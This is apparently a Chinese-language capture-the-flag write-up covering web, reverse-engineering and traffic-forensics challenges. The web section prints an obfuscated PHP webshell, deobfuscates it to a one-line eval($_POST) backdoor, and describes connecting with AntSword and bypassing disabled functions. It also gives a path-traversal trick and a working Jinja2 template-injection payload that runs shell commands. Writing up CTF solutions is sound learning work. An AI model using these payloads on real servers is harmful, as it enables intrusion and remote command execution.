Web hello_web 查看页面源码,如下所示
发现两个提示的php文件,我们尝试访问hackme.php
发现不是这样利用的,tips.php也读不到,我们尝试换一种路径穿越的读法,经过搜索可以知道我们可以用.和/进行组合进行路径穿越,最后在fuzz测试下,我们发现….//组合可以读到文件源码,如下所示
利用相同的方式,我们可以去读tips.php,如下所示
是一个phpinfo文件,我们可以看到禁用了一些函数,但是可以先不管,我们去分析一下这个hackme.php,如下所示
<?php highlight_file(__FILE__); $lJbGIY ="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME" ;$OlWYMv ="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel" ;$lapUCm =urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$YwzIst =$lapUCm {3}.$lapUCm {6}.$lapUCm {33}.$lapUCm {30};$OxirhK =$lapUCm {33}.$lapUCm {10}.$lapUCm {24}.$lapUCm {10}.$lapUCm {24};$YpAUWC =$OxirhK {0}.$lapUCm {18}.$lapUCm {3}.$OxirhK {0}.$OxirhK {1}.$lapUCm {24};$rVkKjU =$lapUCm {7}.$lapUCm {13};$YwzIst .=$lapUCm {22}.$lapUCm {36}.$lapUCm {29}.$lapUCm {26}.$lapUCm {30}.$lapUCm {32}.$lapUCm {35}.$lapUCm {26}.$lapUCm {30};eval ($YwzIst ("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw==" ));?>
根据php函数逻辑,我们可以很容易知道这几个混淆变量是什么
$OxirhK = strtr;$YpAUWC = substr;$rVkKjU = 52;$YwzIst = base64_decode;eval ($YwzIst ("$uWcdaA =" eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst ($OxirhK ($YpAUWC ($uWcdaA ,$rVkKjU *2),$YpAUWC ($uWcdaA ,$rVkKjU ,$rVkKjU ),$YpAUWC ($uWcdaA ,0,$rVkKjU ))));" ));
最后我们可以知道这个eval语句的内容
?><?php @eval ($POST ['cmd_66.99' ]);?>
其实是一个一句话木马,密码为cmd66.99,但这里值得注意的是,由于php会自动将[转变为 ,所以我们的真正的密码是cmd[66.99,我们直接用蚁剑连接即可
可以发现能连接上
但是我们可以发现找不到flag,我们尝试执行命令,但是被禁止了
这里我们使用蚁剑自带的插件disable_function绕过即可
我们直接读取flag即可
safe_proxy
重点在这,我们一看到使用了flask框架,首先肯定是要验证是否存在ssti漏洞了,我们可以看到这里过滤了很多ssti有关的函数,更进一步验证了我们的猜想,我们使用最常见的措施payload,如下所示
我们尝试如下构造payload
code={%set gl='_' *2+'globals' +'_' *2%}{%set bu='_' *2+'builtins' +'_' *2%}{%set im='_' *2+'i' 'mport' +'_' *2%}{%set ax='so' [::-1]%}{{cycler.next[gl][bu][im](ax)['p' 'open' ]('cat /flag > app.py' ).read ()}}
这里解释一下,通过设置拼接符绕过对的过滤,我们通过拼接形成 globals以及 builtins以及 import__,最后我们拼接一个popen去读取我们的flag,我们先在firefox中试试这个payload
一开始执行的时候我们会出现ok,但是我们刷新几次,或者将浏览器倒退,就可以发现flag,发现的很巧合,原本以为这样构造payload不行
Reverse ezCsky 直接ida打开,不管他能不能反编译,可以发现符号表里存在和rc4相关的函数名,找到了密钥testkey和密文解密即可,解密完还需要从后往前异或后一位,最后一位已知是”}”
def KSA (key ): """ Key-Scheduling Algorithm (KSA) 密钥调度算法""" S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) % 256 S[i], S[j] = S[j], S[i] return S def PRGA (S ): """ Pseudo-Random Generation Algorithm (PRGA) 伪随机数生成算法""" i, j = 0 , 0 while True : i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256 ] yield K def RC4 (key, text ): """ RC4 encryption/decryption """ S = KSA(key) keystream = PRGA(S) res = [] i = 0 for char in text: res.append(char ^ next (keystream)) i += 1 return bytes (res) if __name__ == "__main__" : key = b"testkey" text = [0x96 , 0x8F , 0xB8 , 0x08 , 0x5D , 0xA7 , 0x68 , 0x44 , 0xF2 , 0x64 , 0x92 , 0x64 , 0x42 , 0x7A , 0x78 , 0xE6 , 0xEA , 0xC2 , 0x78 , 0xB8 , 0x63 , 0x9E , 0x5B , 0x3D , 0xD9 , 0x28 , 0x3F , 0xC8 , 0x73 , 0x06 , 0xEE , 0x6B , 0x8D , 0x0C , 0x4B , 0xA3 , 0x23 , 0xAE , 0xCA , 0x40 , 0xED , 0xD1 ] result = RC4(key, text) print (list (result)) result = list (result) result[-1 ] = ord ("}" ) for i in range (len (result)-2 , -1 , -1 ): result[i] ^= result[i+1 ] print ("" .join(map (chr , result)))
dump 题目里找到输入为命令行后第一个参数,测试发现用了换表,大写字母减去63,小写字母减去67,数字只有1、2可以直接替换,还有等号、花括号也可以直接找对应,需要注意0、3-9直接换为0,因此需要爆破
s = [0x23 , 0x29 , 0x1E , 0x24 , 0x38 , 0x0E , 0x15 , 0x20 , 0x37 , 0x0E , 0x05 , 0x20 , 0x00 , 0x0E , 0x37 , 0x12 , 0x1D , 0x0F , 0x24 , 0x01 , 0x01 , 0x39 ] print (len (s))xor = [69 , 69 , 127 , 67 , 67 , 68 ] for i in range (len (s)): if s[i] == 1 : s[i] = ord ("=" ) continue if s[i] == 0x38 : s[i] = ord ("{" ) continue if s[i] == 0x39 : s[i] = ord ("}" ) continue if s[i] == 0x1c : s[i] = ord ("1" ) continue if s[i] == 0x1d : s[i] = ord ("2" ) continue if s[i] + 67 in list (range (97 , 123 )): s[i] += 67 elif s[i] + 63 in list (range (65 , 91 )): s[i] += 63 from base64 import b64decodefor i in ["0" , "3" , "4" , "5" , "6" , "7" , "8" , "9" ]: s[12 ] = ord (i) print ("" .join(map (chr , s))) print (b64decode("" .join(map (chr , s[5 :-1 ])).encode()))
最后测试的是前四个里,记不清交的哪个了以及交的是base4解密前的还是后的了,一个个试即可
22 flag{MTczMDc0MzQ2Ng==} b'1730743466' flag{MTczMDc3MzQ2Ng==} b'1730773466' flag{MTczMDc4MzQ2Ng==} b'1730783466' flag{MTczMDc5MzQ2Ng==} b'1730793466' flag{MTczMDc6MzQ2Ng==} b'17307:3466' flag{MTczMDc7MzQ2Ng==} b'17307;3466' flag{MTczMDc8MzQ2Ng==} b'17307<3466' flag{MTczMDc9MzQ2Ng==} b'17307=3466'
威胁检测与网络流量分析 zero_shell1 打开流量包,定位到http流量
我们追踪http流
解密得到flag
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
zero_shell2 我们用同样的payload,使用burp进行任意命令执行,我们首先执行ls /命令,这里需要url编码
之后一个个查看,发现flag在Database下
直接读取即可
zero_shell3 第三问需要寻找外联域名,我们直接通过netstat命令进行查询当前端口活动情况
复制下来放到文档里分析,如下所示
在这里可以看到一个很奇怪的外联地址,交一下,发现是对的,这个ip地址就是flag
zero_shell4 我们在第二问的路径下执行列出隐藏文件,如下所示
我们可以发现有一个叫.nginx的隐藏文件,我们猜测这个就是我们要找的隐藏文件,直接提交,发现正确
zero_shell5 我们首先使用hexdump读取隐藏文件内容,如下所示
复制出来删除序号,然后我们发现文件内容被翻转了,我们需要两位为一组,相邻两组进行互换,我们使用cyberchef进行操作,最后将字节流导出为可执行文件
最后我们用ida分析该可执行文件,我们在字符串中找到关键字符串
所以flag为flag{11223344qweasdzxc}
zero_shell6 全局搜索有关startup的文件夹,我们执行find / -type d -name "*startup*"
我们一个个去查看一下,最终找到启动文件的完整路径
flag{/var/register/system/startup/scripts/nat/File}
WinFT_1 靶机开启之后启动cports.exe,我们等一会就能发现恶意外联地址
所以flag是flag{``miscsecure.com``:192.168.116.130:443}
WinFT_2 需要寻找启动项中的东西,我们直接启动启动项,如下所示
有一个很明显的flag
f^l^a^g^:JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=
base64解码
最后Unicode解码,如下所示
flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
拿到本题flag